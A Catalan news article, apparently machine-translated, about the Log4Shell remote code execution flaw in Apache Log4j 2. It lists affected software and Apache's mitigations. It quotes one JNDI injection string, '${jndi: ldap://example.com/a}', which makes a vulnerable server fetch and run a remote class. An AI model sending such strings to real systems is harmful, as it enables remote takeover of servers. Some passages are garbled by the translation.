Log4Shell, una vulnerabilitat crítica a Apache Log4j 2 que afecta molts projectes Java

Fa poc si va donar a conèixer la notícia que va ser identificada una vulnerabilitat crítica a Apache Log4j 2, el qual es caracteritza per ser un marc popular per organitzar el registre en aplicacions Java, que permet l'execució de codi arbitrari quan s'escriu un valor especialment formatat al registre en el format «{jndi: URL}».

la vulnerabilitat és notable perquè latac es pot dur a terme en aplicacions Java que registren valors obtinguts de fonts externes, per exemple, en mostrar valors problemàtics en missatges derror.

S'observa que gairebé tots els projectes que utilitzen frameworks com Apache Struts, Apache Solr, Apache Druid o Apache Flink es veuen afectats, inclosos Steam, Apple iCloud, clients i servidors de Minecraft.

S'espera que la vulnerabilitat pugui conduir a una onada d'atacs massius a aplicacions empresarials, repetint l'historial de vulnerabilitats crítiques en el marc, Apache Struts, que és una estimació aproximada utilitzada al 65% de les aplicacions web de Fortune 100. Llista de l'empresa aplicacions web inclosos els intents ja registrats d'escanejar la xarxa a la recerca de sistemes vulnerables.

La vulnerabilitat permet lexecució remota de codi no autenticat. Log4j 2 és una biblioteca de registre de Java de codi obert desenvolupada per Apache Foundation. Log4j 2 s'usa àmpliament en moltes aplicacions i és present, com a dependència, en molts serveis. Aquests inclouen aplicacions empresarials, així com nombrosos serveis al núvol.

L'equip d'atac de Randori ha desenvolupat un exploit funcional i ha pogut aprofitar amb èxit aquesta vulnerabilitat als entorns dels clients com a part de la nostra plataforma de seguretat ofensiva 

Es pot accedir a la vulnerabilitat mitjançant una multitud de mètodes específics de laplicació. Efectivament, qualsevol escenari que permeti que una connexió remota subministri dades arbitràries que una aplicació que utilitza la biblioteca Log4j escriu en fitxers de registre és susceptible d'explotació. És molt probable que aquesta vulnerabilitat s'exploti a la natura i és probable que afecti milers d'organitzacions. Aquesta vulnerabilitat representa un risc real significatiu per als sistemes afectats.

El problema es veu agreujat pel fet que ja s'ha publicat un exploit funcional, pencara no s'han generat les correccions per a les branques estables. L'identificador CVE encara no s'ha assignat. La solució només s'inclou a la branca de prova log4j-2.15.0-rc1 . Com a solució per bloquejar la vulnerabilitat, es recomana establir el paràmetre Log4j2.formatMsgNoLookups en veritable.

el problema es va deure al fet que Log4j 2 admet el maneig de màscares especials «{}» en línies de registre, En què es poden executar consultes JNDI (Java Naming and Directory Interface).

En analitzar CVE-2021-44228, Randori ha determinat el següent:

Les instal·lacions predeterminades de programari empresarial àmpliament utilitzat són vulnerables.
La vulnerabilitat es pot aprofitar de manera fiable i sense autenticació.
La vulnerabilitat afecta múltiples versions de Log4j 2.
La vulnerabilitat permet lexecució remota de codi quan lusuari executa laplicació que utilitza la biblioteca.

L'atac es redueix a passar una cadena amb la substitució «${jndi: ldap://example.com/a}», en processar quin Log4j 2 enviarà una sol·licitud LDAP per a la ruta a la classe Java a l'atacant.com servidor. La ruta tornada pel servidor de l'atacant (per exemple, http://example.com/Exploit.class) es carregarà i executarà en el context del procés actual, cosa que permet a l'atacant aconseguir l'execució de codi arbitrari al sistema amb drets de l'aplicació actual.

Finalment, s'esmenta que si es troben anomalies, es recomana que assumeixi que es tracta d'un incident actiu, que s'ha vist compromès i respongui en conseqüència. L'actualització a les versions aplicades de Log4j 2 o les aplicacions afectades eliminarà aquesta vulnerabilitat. Randori recomana a qualsevol organització que cregui que es pot veure afectada que s'actualitzi urgentment a una versió aplicada.

A l'última actualització de l'equip d'Apache Log4j, recomanen que les organitzacions facin el següent

  • Actualitzar a Log4j 2.15.0
  • Per a aquells que no poden actualitzar a 2.15.0: A les versions> = 2.10, aquesta vulnerabilitat es pot mitigar establint la propietat del sistema log4j2.formatMsgNoLookupso la variable d'entorn LOG4J_FORMAT_MSG_NO_LOOKUPS a true.
  • Per a les versions de 2,0-beta9 a 2.10.0, la mitigació és eliminar la JndiLookup classe de la ruta de classe: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup /JndiLookup.class.

font: https://www.lunasec.io/


El contingut d'l'article s'adhereix als nostres principis de ètica editorial. Per notificar un error punxa aquí.

Sigues el primer a comentar

Deixa el teu comentari

La seva adreça de correu electrònic no es publicarà.

*

*

  1. Responsable de les dades: Miguel Ángel Gatón
  2. Finalitat de les dades: Controlar l'SPAM, gestió de comentaris.
  3. Legitimació: El teu consentiment
  4. Comunicació de les dades: No es comunicaran les dades a tercers excepte per obligació legal.
  5. Emmagatzematge de les dades: Base de dades allotjada en Occentus Networks (UE)
  6. Drets: En qualsevol moment pots limitar, recuperar i esborrar la teva informació.